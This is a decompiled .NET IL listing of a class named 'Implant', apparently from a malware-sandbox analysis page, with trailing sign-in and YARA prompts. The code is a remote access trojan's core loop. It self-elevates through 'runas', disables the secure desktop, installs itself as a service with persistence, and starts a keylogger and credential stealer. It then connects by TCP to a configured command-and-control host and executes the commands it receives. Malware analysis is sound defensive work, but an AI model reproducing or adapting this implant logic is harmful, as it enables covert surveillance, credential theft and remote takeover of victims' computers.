callvirt System.Boolean System.String::EndsWith(System.String)
brfalse.s IL_009D: leave.s IL_00A2
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
callvirt System.String System.Diagnostics.ProcessModule::get_FileName()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.2 <null>
ldloc.2 <null>
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
ldloc.2 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.2 <null>
stloc.1 <null>
ldloc.1 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_00A2: ldnull
pop <null>
leave.s IL_00A2: ldnull
ldnull <null>
call System.Void Implant::SystemServiceInstall(System.String)
ret <null>
ldsfld System.Boolean Implant::BAKED_HIDDEN
brfalse.s IL_00EF: ldc.i4.2
ldarg.0 <null>
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3b
brtrue.s IL_00C9: ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3b
ldnull <null>
ldftn System.Boolean Implant::<Main>b__34(System.String)
newobj System.Void System.Predicate`1<System.String>::.ctor(System.Object,System.IntPtr)
stsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3b
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3b
call System.Boolean System.Array::Exists<System.String>(System.String[],System.Predicate`1<System.String>)
brtrue.s IL_00EF: ldc.i4.2
call System.Void Implant::TryPersist()
leave.s IL_00DF: ldstr "GPhCJIQq3FQN9I9qwUw="
pop <null>
leave.s IL_00DF: ldstr "GPhCJIQq3FQN9I9qwUw="
ldstr GPhCJIQq3FQN9I9qwUw=
call System.String Implant::S(System.String)
call System.Void Implant::SystemServiceInstall(System.String)
ret <null>
ldc.i4.2 <null>
call System.Int32 Implant::SetProcessDpiAwareness(System.Int32)
pop <null>
leave.s IL_00FB: ldc.i4 -2147483646
pop <null>
leave.s IL_00FB: ldc.i4 -2147483646
ldc.i4 -2147483646
call System.UInt32 Implant::SetThreadExecutionState(System.UInt32)
pop <null>
leave.s IL_010B: call System.String[] System.Environment::GetCommandLineArgs()
pop <null>
leave.s IL_010B: call System.String[] System.Environment::GetCommandLineArgs()
call System.String[] System.Environment::GetCommandLineArgs()
call System.Void Implant::PrivescFlags(System.String[])
call System.String Implant::ExplorerIntegrity()
stloc.3 <null>
call System.String Implant::Integrity()
stloc.s V_4
ldloc.3 <null>
ldstr 12288
callvirt System.Boolean System.String::EndsWith(System.String)
brtrue.s IL_013C: ldc.i4.1
ldloc.3 <null>
ldstr 16384
callvirt System.Boolean System.String::EndsWith(System.String)
br.s IL_013D: stloc.s V_5
ldc.i4.1 <null>
stloc.s V_5
ldloc.s V_4
ldstr 12288
callvirt System.Boolean System.String::EndsWith(System.String)
brtrue.s IL_015E: ldc.i4.0
ldloc.s V_4
ldstr 16384
callvirt System.Boolean System.String::EndsWith(System.String)
ldc.i4.0 <null>
ceq <null>
br.s IL_015F: stloc.s V_6
ldc.i4.0 <null>
stloc.s V_6
ldsfld System.Boolean Implant::BAKED_SELF_ELEVATE
brfalse.s IL_01AC: leave.s IL_01B1
ldloc.s V_5
brfalse.s IL_01AC: leave.s IL_01B1
ldloc.s V_6
brfalse.s IL_01AC: leave.s IL_01B1
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Diagnostics.ProcessModule System.Diagnostics.Process::get_MainModule()
callvirt System.String System.Diagnostics.ProcessModule::get_FileName()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_8
ldloc.s V_8
ldstr runas
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
ldloc.s V_8
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.s V_8
stloc.s V_7
ldloc.s V_7
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_01B1: call System.String Implant::Integrity()
pop <null>
leave.s IL_01B1: call System.String Implant::Integrity()
call System.String Implant::Integrity()
stloc.s V_9
ldloc.s V_9
ldstr 12288
callvirt System.Boolean System.String::EndsWith(System.String)
brtrue.s IL_01D4: call System.Void Implant::DisableSecureDesktop()
ldloc.s V_9
ldstr 16384
callvirt System.Boolean System.String::EndsWith(System.String)
brfalse.s IL_01D9: leave.s IL_01DE
call System.Void Implant::DisableSecureDesktop()
leave.s IL_01DE: call System.AppDomain System.AppDomain::get_CurrentDomain()
pop <null>
leave.s IL_01DE: call System.AppDomain System.AppDomain::get_CurrentDomain()
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.UnhandledExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3c
brtrue.s IL_01FB: ldsfld System.UnhandledExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3c
ldnull <null>
ldftn System.Void Implant::<Main>b__35(System.Object,System.UnhandledExceptionEventArgs)
newobj System.Void System.UnhandledExceptionEventHandler::.ctor(System.Object,System.IntPtr)
stsfld System.UnhandledExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3c
ldsfld System.UnhandledExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3c
callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
ldsfld System.Threading.ThreadExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3d
brtrue.s IL_021D: ldsfld System.Threading.ThreadExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3d
ldnull <null>
ldftn System.Void Implant::<Main>b__36(System.Object,System.Threading.ThreadExceptionEventArgs)
newobj System.Void System.Threading.ThreadExceptionEventHandler::.ctor(System.Object,System.IntPtr)
stsfld System.Threading.ThreadExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3d
ldsfld System.Threading.ThreadExceptionEventHandler Implant::CS$<>9__CachedAnonymousMethodDelegate3d
call System.Void System.Windows.Forms.Application::add_ThreadException(System.Threading.ThreadExceptionEventHandler)
leave.s IL_022C: call System.String System.IO.Path::GetTempPath()
pop <null>
leave.s IL_022C: call System.String System.IO.Path::GetTempPath()
call System.String System.IO.Path::GetTempPath()
ldstr mouse_dbg.txt
call System.String System.IO.Path::Combine(System.String,System.String)
ldstr === VER 5.192.166 tag=BUILD sess=
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Int32 System.Diagnostics.Process::get_SessionId()
box System.Int32
ldstr  ===

call System.String System.String::Concat(System.Object,System.Object,System.Object)
call System.Void System.IO.File::WriteAllText(System.String,System.String)
leave.s IL_0263: ldstr "=== VER 5.192.166 tag=BUILD sess="
pop <null>
leave.s IL_0263: ldstr "=== VER 5.192.166 tag=BUILD sess="
ldstr === VER 5.192.166 tag=BUILD sess=
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Int32 System.Diagnostics.Process::get_SessionId()
box System.Int32
ldstr  ===
call System.String System.String::Concat(System.Object,System.Object,System.Object)
call System.Void Implant::FgLog(System.String)
leave.s IL_028B: ldarg.0
pop <null>
leave.s IL_028B: ldarg.0
ldarg.0 <null>
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3e
brtrue.s IL_02A4: ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3e
ldnull <null>
ldftn System.Boolean Implant::<Main>b__37(System.String)
newobj System.Void System.Predicate`1<System.String>::.ctor(System.Object,System.IntPtr)
stsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3e
ldsfld System.Predicate`1<System.String> Implant::CS$<>9__CachedAnonymousMethodDelegate3e
call System.Boolean System.Array::Exists<System.String>(System.String[],System.Predicate`1<System.String>)
brfalse.s IL_02B6: ldsfld System.Boolean Implant::BAKED_SYSTEM_SERVICE
call System.Void Implant::RunCaptureHelper()
ret <null>
ldsfld System.Boolean Implant::BAKED_SYSTEM_SERVICE
brfalse.s IL_02CE: call System.Void Implant::RelaunchInteractive()
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Int32 System.Diagnostics.Process::get_SessionId()
brtrue.s IL_02CE: call System.Void Implant::RelaunchInteractive()
call System.Void Implant::RelayStart()
call System.Void Implant::RelaunchInteractive()
leave.s IL_02D8: ldsfld System.String Implant::BAKED_HOST
pop <null>
leave.s IL_02D8: ldsfld System.String Implant::BAKED_HOST
ldsfld System.String Implant::BAKED_HOST
call System.String Implant::S(System.String)
stloc.s V_10
ldsfld System.Int32 Implant::BAKED_PORT
stloc.s V_11
ldsfld System.Int32 Implant::BAKED_INTERVAL
stloc.s V_12
ldsfld System.Boolean Implant::BAKED_NO_PROTECTION
pop <null>
ldc.i4.0 <null>
stloc.s V_13
br IL_0393: ldloc.s V_13
ldarg.0 <null>
ldloc.s V_13
ldelem.ref <null>
ldstr --host
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0326: ldarg.0
ldloc.s V_13
ldc.i4.1 <null>
add <null>
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
bge.s IL_0326: ldarg.0
ldarg.0 <null>
ldloc.s V_13
ldc.i4.1 <null>
add <null>
dup <null>
stloc.s V_13
ldelem.ref <null>
stloc.s V_10
br.s IL_038D: ldloc.s V_13
ldarg.0 <null>
ldloc.s V_13
ldelem.ref <null>
ldstr --port
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_0352: ldarg.0
ldloc.s V_13
ldc.i4.1 <null>
add <null>
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
bge.s IL_0352: ldarg.0
ldarg.0 <null>
ldloc.s V_13
ldc.i4.1 <null>
add <null>
dup <null>
stloc.s V_13
ldelem.ref <null>
ldloca.s V_11
call System.Boolean System.Int32::TryParse(System.String,System.Int32&)
pop <null>
br.s IL_038D: ldloc.s V_13
ldarg.0 <null>
ldloc.s V_13
ldelem.ref <null>
ldstr --interval
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_037E: ldarg.0
ldloc.s V_13
ldc.i4.1 <null>
add <null>
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
bge.s IL_037E: ldarg.0
ldarg.0 <null>
ldloc.s V_13
ldc.i4.1 <null>
add <null>
dup <null>
stloc.s V_13
ldelem.ref <null>
ldloca.s V_12
call System.Boolean System.Int32::TryParse(System.String,System.Int32&)
pop <null>
br.s IL_038D: ldloc.s V_13
ldarg.0 <null>
ldloc.s V_13
ldelem.ref <null>
ldstr --no-protection
call System.Boolean System.String::op_Equality(System.String,System.String)
pop <null>
ldloc.s V_13
ldc.i4.1 <null>
add <null>
stloc.s V_13
ldloc.s V_13
ldarg.0 <null>
ldlen <null>
conv.i4 <null>
blt IL_0300: ldarg.0
ldsfld System.Boolean Implant::BAKED_PERSIST
brfalse.s IL_03A9: ldsfld System.Boolean Implant::BAKED_KEYLOG
call System.Void Implant::TryPersist()
ldsfld System.Boolean Implant::BAKED_KEYLOG
brfalse.s IL_03B5: ldsfld System.Boolean Implant::BAKED_SYSTEM_SERVICE
call System.Void Implant::StartKeylog()
ldsfld System.Boolean Implant::BAKED_SYSTEM_SERVICE
brtrue.s IL_03C3: call System.Void Implant::StartReArm()
ldsfld System.Boolean Implant::BAKED_HIDDEN
brfalse.s IL_03C8: newobj System.Void System.Collections.Generic.List`1<System.String[]>::.ctor()
call System.Void Implant::StartReArm()
newobj System.Void System.Collections.Generic.List`1<System.String[]>::.ctor()
stloc.s V_14
ldloc.s V_10
ldstr 
call System.Boolean System.String::op_Inequality(System.String,System.String)
brfalse.s IL_0411: ldsfld System.String Implant::BAKED_HOSTS
ldloc.s V_10
ldstr __HOST__
call System.Boolean System.String::op_Inequality(System.String,System.String)
brfalse.s IL_0411: ldsfld System.String Implant::BAKED_HOSTS
ldloc.s V_11
brfalse.s IL_0411: ldsfld System.String Implant::BAKED_HOSTS
ldloc.s V_14
ldc.i4.2 <null>
newarr System.String
stloc.s V_28
ldloc.s V_28
ldc.i4.0 <null>
ldloc.s V_10
stelem.ref <null>
ldloc.s V_28
ldc.i4.1 <null>
ldloca.s V_11
call System.String System.Int32::ToString()
stelem.ref <null>
ldloc.s V_28
callvirt System.Void System.Collections.Generic.List`1<System.String[]>::Add(System.String[])
ldsfld System.String Implant::BAKED_HOSTS
ldc.i4.1 <null>
newarr System.Char
stloc.s V_29
ldloc.s V_29
ldc.i4.0 <null>
ldc.i4.s 44
stelem.i2 <null>
ldloc.s V_29
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_15
ldsfld System.String Implant::BAKED_PORTS
ldc.i4.1 <null>
newarr System.Char
stloc.s V_30
ldloc.s V_30
ldc.i4.0 <null>
ldc.i4.s 44
stelem.i2 <null>
ldloc.s V_30
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_16
ldc.i4.0 <null>
stloc.s V_17
br IL_04EC: ldloc.s V_17
ldloc.s V_15
ldloc.s V_17
ldelem.ref <null>
callvirt System.String System.String::Trim()
ldstr 
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_04E6: ldloc.s V_17
ldloc.s V_17
ldloc.s V_16
ldlen <null>
conv.i4 <null>
bge.s IL_0485: ldloc.s V_16
ldloc.s V_16
ldloc.s V_17
ldelem.ref <null>
callvirt System.String System.String::Trim()
ldstr 
call System.Boolean System.String::op_Inequality(System.String,System.String)
brtrue.s IL_04B5: ldloc.s V_16
ldloc.s V_16
ldlen <null>
conv.i4 <null>
ldc.i4.0 <null>
ble.s IL_04A1: ldloca.s V_11
ldloc.s V_16
ldc.i4.0 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
ldstr 
call System.Boolean System.String::op_Inequality(System.String,System.String)
brtrue.s IL_04AA: ldloc.s V_16
ldloca.s V_11
call System.String System.Int32::ToString()
br.s IL_04BF: stloc.s V_18
ldloc.s V_16
ldc.i4.0 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
br.s IL_04BF: stloc.s V_18
ldloc.s V_16
ldloc.s V_17
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_18
ldloc.s V_14
ldc.i4.2 <null>
newarr System.String
stloc.s V_31
ldloc.s V_31
ldc.i4.0 <null>
ldloc.s V_15
ldloc.s V_17
ldelem.ref <null>
callvirt System.String System.String::Trim()
stelem.ref <null>
ldloc.s V_31
ldc.i4.1 <null>
ldloc.s V_18
stelem.ref <null>
ldloc.s V_31
callvirt System.Void System.Collections.Generic.List`1<System.String[]>::Add(System.String[])
ldloc.s V_17
ldc.i4.1 <null>
add <null>
stloc.s V_17
ldloc.s V_17
ldloc.s V_15
ldlen <null>
conv.i4 <null>
blt IL_0451: ldloc.s V_15
ldloc.s V_10
ldstr 
call System.Boolean System.String::op_Inequality(System.String,System.String)
brfalse.s IL_0570: ldloc.s V_14
ldloc.s V_10
ldstr __HOST__
call System.Boolean System.String::op_Inequality(System.String,System.String)
brfalse.s IL_0570: ldloc.s V_14
ldloc.s V_15
ldlen <null>
conv.i4 <null>
stloc.s V_19
br.s IL_0568: ldloc.s V_19
ldloc.s V_16
ldloc.s V_19
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_20
ldloc.s V_20
ldstr 
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_0562: ldloc.s V_19
ldloc.s V_20
ldloca.s V_11
call System.String System.Int32::ToString()
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_0562: ldloc.s V_19
ldloc.s V_14
ldc.i4.2 <null>
newarr System.String
stloc.s V_32
ldloc.s V_32
ldc.i4.0 <null>
ldloc.s V_10
stelem.ref <null>
ldloc.s V_32
ldc.i4.1 <null>
ldloc.s V_20
stelem.ref <null>
ldloc.s V_32
callvirt System.Void System.Collections.Generic.List`1<System.String[]>::Add(System.String[])
ldloc.s V_19
ldc.i4.1 <null>
add <null>
stloc.s V_19
ldloc.s V_19
ldloc.s V_16
ldlen <null>
conv.i4 <null>
blt.s IL_051B: ldloc.s V_16
ldloc.s V_14
callvirt System.Int32 System.Collections.Generic.List`1<System.String[]>::get_Count()
brtrue.s IL_057A: ldc.i4.0
ret <null>
ldc.i4.0 <null>
stloc.s V_21
ldloc.s V_14
ldloc.s V_21
ldloc.s V_14
callvirt System.Int32 System.Collections.Generic.List`1<System.String[]>::get_Count()
rem <null>
callvirt System.String[] System.Collections.Generic.List`1<System.String[]>::get_Item(System.Int32)
ldc.i4.0 <null>
ldelem.ref <null>
stloc.s V_22
ldloc.s V_14
ldloc.s V_21
ldloc.s V_14
callvirt System.Int32 System.Collections.Generic.List`1<System.String[]>::get_Count()
rem <null>
callvirt System.String[] System.Collections.Generic.List`1<System.String[]>::get_Item(System.Int32)
ldc.i4.1 <null>
ldelem.ref <null>
call System.Int32 System.Int32::Parse(System.String)
stloc.s V_23
ldloc.s V_21
ldc.i4.1 <null>
add <null>
stloc.s V_21
newobj System.Void System.Net.Sockets.TcpClient::.ctor()
stsfld System.Net.Sockets.TcpClient Implant::conn
ldsfld System.Net.Sockets.TcpClient Implant::conn
ldloc.s V_22
ldloc.s V_23
callvirt System.Void System.Net.Sockets.TcpClient::Connect(System.String,System.Int32)
ldsfld System.Net.Sockets.TcpClient Implant::conn
ldc.i4.1 <null>
callvirt System.Void System.Net.Sockets.TcpClient::set_NoDelay(System.Boolean)
ldsfld System.Net.Sockets.TcpClient Implant::conn
ldc.i4 1048576
callvirt System.Void System.Net.Sockets.TcpClient::set_ReceiveBufferSize(System.Int32)
ldsfld System.Net.Sockets.TcpClient Implant::conn
ldc.i4 1048576
callvirt System.Void System.Net.Sockets.TcpClient::set_SendBufferSize(System.Int32)
ldsfld System.Net.Sockets.TcpClient Implant::conn
ldc.i4 180000
callvirt System.Void System.Net.Sockets.TcpClient::set_ReceiveTimeout(System.Int32)
ldsfld System.Net.Sockets.TcpClient Implant::conn
callvirt System.Net.Sockets.NetworkStream System.Net.Sockets.TcpClient::GetStream()
stsfld System.Net.Sockets.NetworkStream Implant::ns
call System.Text.Encoding System.Text.Encoding::get_UTF8()
call System.String Implant::Banner()
callvirt System.Byte[] System.Text.Encoding::GetBytes(System.String)
call System.Void Implant::SendFrame(System.Byte[])
ldsfld System.Boolean Implant::BAKED_STEALER
brfalse IL_06F3: call System.String Implant::RecvString()
ldsfld System.Threading.ThreadStart Implant::CS$<>9__CachedAnonymousMethodDelegate3f
brtrue.s IL_0647: ldsfld System.Threading.ThreadStart Implant::CS$<>9__CachedAnonymousMethodDelegate3f
ldnull <null>
ldftn System.Void Implant::<Main>b__38()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
stsfld System.Threading.ThreadStart Implant::CS$<>9__CachedAnonymousMethodDelegate3f
ldsfld System.Threading.ThreadStart Implant::CS$<>9__CachedAnonymousMethodDelegate3f
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.s V_24
ldloc.s V_24
ldc.i4.1 <null>
callvirt System.Void System.Threading.Thread::set_IsBackground(System.Boolean)
ldloc.s V_24
callvirt System.Void System.Threading.Thread::Start()
leave IL_06F3: call System.String Implant::RecvString()
pop <null>
leave IL_06F3: call System.String Implant::RecvString()
ldloc.s V_25
ldstr exit
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_0697: ldsfld System.Net.Sockets.NetworkStream Implant::ns
ldloc.s V_25
ldstr quit
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_0697: ldsfld System.Net.Sockets.NetworkStream Implant::ns
ldloc.s V_25
ldstr die
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse.s IL_06B0: ldloc.s V_25
ldsfld System.Net.Sockets.NetworkStream Implant::ns
callvirt System.Void System.IO.Stream::Close()
ldsfld System.Net.Sockets.TcpClient Implant::conn
callvirt System.Void System.Net.Sockets.TcpClient::Close()
leave IL_07A0: ret
ldloc.s V_25
ldsfld System.String Implant::cwd
call System.String Implant::Dispatch(System.String,System.String)
stsfld System.String Implant::cwd
leave.s IL_06EC: ldsfld System.String Implant::cwd
stloc.s V_26
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldstr (command error: 
ldloc.s V_26
callvirt System.String System.Exception::get_Message()
ldstr )

call System.String System.String::Concat(System.String,System.String,System.String)
callvirt System.Byte[] System.Text.Encoding::GetBytes(System.String)
call System.Void Implant::SendFrame(System.Byte[])
leave.s IL_06EC: ldsfld System.String Implant::cwd
ldsfld System.String Implant::cwd
brfalse.s IL_0700: ldsfld System.Net.Sockets.NetworkStream Implant::ns
call System.String Implant::RecvString()
dup <null>
stloc.s V_25
brtrue IL_066D: ldloc.s V_25
ldsfld System.Net.Sockets.NetworkStream Implant::ns
callvirt System.Void System.IO.Stream::Close()
ldsfld System.Net.Sockets.TcpClient Implant::conn
callvirt System.Void System.Net.Sockets.TcpClient::Close()
leave.s IL_0719: leave.s IL_0784
pop <null>
leave.s IL_0719: leave.s IL_0784
leave.s IL_0784: ldsfld System.Boolean Implant::BAKED_NOSLEEP
stloc.s V_27
call System.String System.IO.Path::GetTempPath()
ldstr hvnc_loop.txt
call System.String System.IO.Path::Combine(System.String,System.String)
ldc.i4.5 <null>
newarr System.String
stloc.s V_33
ldloc.s V_33
ldc.i4.0 <null>
ldstr [
stelem.ref <null>
ldloc.s V_33
ldc.i4.1 <null>
call System.DateTime System.DateTime::get_Now()
stloc.s V_34
ldloca.s V_34
ldstr HH:mm:ss
call System.String System.DateTime::ToString(System.String)
stelem.ref <null>
ldloc.s V_33
ldc.i4.2 <null>
ldstr ] loop EXC: 
stelem.ref <null>
ldloc.s V_33
ldc.i4.3 <null>
ldloc.s V_27
callvirt System.String System.Exception::get_Message()
stelem.ref <null>
ldloc.s V_33
ldc.i4.4 <null>
ldstr 

stelem.ref <null>
ldloc.s V_33
call System.String System.String::Concat(System.String[])
call System.Void System.IO.File::AppendAllText(System.String,System.String)
leave.s IL_0782: leave.s IL_0784
pop <null>
leave.s IL_0782: leave.s IL_0784
leave.s IL_0784: ldsfld System.Boolean Implant::BAKED_NOSLEEP
ldsfld System.Boolean Implant::BAKED_NOSLEEP
brtrue.s IL_078F: ldc.i4.0
ldloc.s V_12
br.s IL_0790: ldc.i4 1000
ldc.i4.0 <null>
ldc.i4 1000
mul <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
br IL_057D: ldloc.s V_14
ret <null>

4 files
EXEf23f9848c8b3469e4b8ac4bd1d4633db
Structure
BIN[Base64-Block @0x00043A37]
No malware configuration was found at this point.
Sign in or create a free account to view the matching YARA rules. Create a free account
An error has occurred. This application may no longer respond until reloaded. Reload 🗙